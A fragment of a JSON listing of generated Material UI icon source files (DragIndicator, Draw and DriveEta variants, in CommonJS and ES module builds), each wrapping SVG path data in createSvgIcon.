    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicatorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicatorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicatorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicatorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicatorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicatorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicatorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicatorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicatorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicatorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicatorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicatorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicatorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicatorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicatorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Draw.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.85 10.39 1.06-1.06c.78-.78.78-2.05 0-2.83L18.5 5.09c-.78-.78-2.05-.78-2.83 0l-1.06 1.06zm-5.66-2.83L4 16.76V21h4.24l9.19-9.19zM19 17.5c0 2.19-2.54 3.5-5 3.5-.55 0-1-.45-1-1s.45-1 1-1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.26 0-1.8.61-1.83.64-.35.41-.98.46-1.4.12-.41-.34-.49-.95-.15-1.38C3.73 4.24 4.76 3 7 3s4 1.32 4 3c0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}), 'Draw');"
  },
  {
    "path": "packages/mui-icons-material/lib/Draw.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.85 10.39 1.06-1.06c.78-.78.78-2.05 0-2.83L18.5 5.09c-.78-.78-2.05-.78-2.83 0l-1.06 1.06zm-5.66-2.83L4 16.76V21h4.24l9.19-9.19zM19 17.5c0 2.19-2.54 3.5-5 3.5-.55 0-1-.45-1-1s.45-1 1-1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.26 0-1.8.61-1.83.64-.35.41-.98.46-1.4.12-.41-.34-.49-.95-.15-1.38C3.73 4.24 4.76 3 7 3s4 1.32 4 3c0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}), 'Draw');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrawOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.85 10.39 1.06-1.06c.78-.78.78-2.05 0-2.83L18.5 5.09c-.78-.78-2.05-.78-2.83 0l-1.06 1.06zm-4.24 1.42L7.41 19H6v-1.41l7.19-7.19zm-1.42-4.25L4 16.76V21h4.24l9.19-9.19zM19 17.5c0 2.19-2.54 3.5-5 3.5-.55 0-1-.45-1-1s.45-1 1-1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.26 0-1.8.61-1.83.64-.35.41-.98.46-1.4.12-.41-.34-.49-.95-.15-1.38C3.73 4.24 4.76 3 7 3s4 1.32 4 3c0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}), 'DrawOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrawOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.85 10.39 1.06-1.06c.78-.78.78-2.05 0-2.83L18.5 5.09c-.78-.78-2.05-.78-2.83 0l-1.06 1.06zm-4.24 1.42L7.41 19H6v-1.41l7.19-7.19zm-1.42-4.25L4 16.76V21h4.24l9.19-9.19zM19 17.5c0 2.19-2.54 3.5-5 3.5-.55 0-1-.45-1-1s.45-1 1-1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.26 0-1.8.61-1.83.64-.35.41-.98.46-1.4.12-.41-.34-.49-.95-.15-1.38C3.73 4.24 4.76 3 7 3s4 1.32 4 3c0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}), 'DrawOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrawRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.85 10.39 1.06-1.06c.78-.78.78-2.05 0-2.83L18.5 5.09c-.78-.78-2.05-.78-2.83 0l-1.06 1.06zm-5.66-2.83-9.05 9.05c-.09.09-.14.22-.14.35v3.54c0 .28.22.5.5.5h3.54c.13 0 .26-.05.35-.15l9.05-9.05zM19 17.5c0 2.19-2.54 3.5-5 3.5-.55 0-1-.45-1-1s.45-1 1-1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.26 0-1.8.61-1.83.64-.35.41-.98.46-1.4.12-.41-.34-.49-.95-.15-1.38C3.73 4.24 4.76 3 7 3s4 1.32 4 3c0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}), 'DrawRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrawRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.85 10.39 1.06-1.06c.78-.78.78-2.05 0-2.83L18.5 5.09c-.78-.78-2.05-.78-2.83 0l-1.06 1.06zm-5.66-2.83-9.05 9.05c-.09.09-.14.22-.14.35v3.54c0 .28.22.5.5.5h3.54c.13 0 .26-.05.35-.15l9.05-9.05zM19 17.5c0 2.19-2.54 3.5-5 3.5-.55 0-1-.45-1-1s.45-1 1-1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.26 0-1.8.61-1.83.64-.35.41-.98.46-1.4.12-.41-.34-.49-.95-.15-1.38C3.73 4.24 4.76 3 7 3s4 1.32 4 3c0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}), 'DrawRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrawSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.85 10.39 2.48-2.48-4.24-4.24-2.48 2.48zm-5.66-2.83L4 16.76V21h4.24l9.19-9.19zM19 17.5c0 2.19-2.54 3.5-5 3.5-.48 0-1-.07-1-.07V18.9s.46.1 1 .1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.24 0-2 .61-2 1H3c0-1.65 1.7-3 4-3 2.24 0 4 1.32 4 3 0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}), 'DrawSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrawSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.85 10.39 2.48-2.48-4.24-4.24-2.48 2.48zm-5.66-2.83L4 16.76V21h4.24l9.19-9.19zM19 17.5c0 2.19-2.54 3.5-5 3.5-.48 0-1-.07-1-.07V18.9s.46.1 1 .1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.24 0-2 .61-2 1H3c0-1.65 1.7-3 4-3 2.24 0 4 1.32 4 3 0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}), 'DrawSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrawTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.61 11.81 7.41 19H6v-1.41l7.19-7.2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.85 10.39 1.06-1.06c.78-.78.78-2.05 0-2.83L18.5 5.09c-.78-.78-2.05-.78-2.83 0l-1.06 1.06zm-4.24 1.42L7.41 19H6v-1.41l7.19-7.19zm-1.42-4.25L4 16.76V21h4.24l9.19-9.19zM19 17.5c0 2.19-2.54 3.5-5 3.5-.55 0-1-.45-1-1s.45-1 1-1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.26 0-1.8.61-1.83.64-.35.41-.98.46-1.4.12-.41-.34-.49-.95-.15-1.38C3.73 4.24 4.76 3 7 3s4 1.32 4 3c0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}, \"1\")], 'DrawTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrawTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.61 11.81 7.41 19H6v-1.41l7.19-7.2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.85 10.39 1.06-1.06c.78-.78.78-2.05 0-2.83L18.5 5.09c-.78-.78-2.05-.78-2.83 0l-1.06 1.06zm-4.24 1.42L7.41 19H6v-1.41l7.19-7.19zm-1.42-4.25L4 16.76V21h4.24l9.19-9.19zM19 17.5c0 2.19-2.54 3.5-5 3.5-.55 0-1-.45-1-1s.45-1 1-1c1.54 0 3-.73 3-1.5 0-.47-.48-.87-1.23-1.2l1.48-1.48c1.07.63 1.75 1.47 1.75 2.68M4.58 13.35C3.61 12.79 3 12.06 3 11c0-1.8 1.89-2.63 3.56-3.36C7.59 7.18 9 6.56 9 6c0-.41-.78-1-2-1-1.26 0-1.8.61-1.83.64-.35.41-.98.46-1.4.12-.41-.34-.49-.95-.15-1.38C3.73 4.24 4.76 3 7 3s4 1.32 4 3c0 1.87-1.93 2.72-3.64 3.47C6.42 9.88 5 10.5 5 11c0 .31.43.6 1.07.86z\"\n}, \"1\")], 'DrawTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEta.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.5-4.5h11L19 10z\"\n}), 'DriveEta');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEta.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.5-4.5h11L19 10z\"\n}), 'DriveEta');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEtaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 6h10.29l1.04 3H5.81zM19 16H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\")], 'DriveEtaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEtaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 6h10.29l1.04 3H5.81zM19 16H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\")], 'DriveEtaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEtaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 19.33 6 18.5V18h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 10z\"\n}), 'DriveEtaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEtaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 19.33 6 18.5V18h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 10z\"\n}), 'DriveEtaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEtaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01 18.57 4H5.43L3 11v9h3v-2h12v2h3v-9zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.5-4.5h11L19 10z\"\n}), 'DriveEtaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEtaSharp.mjs",
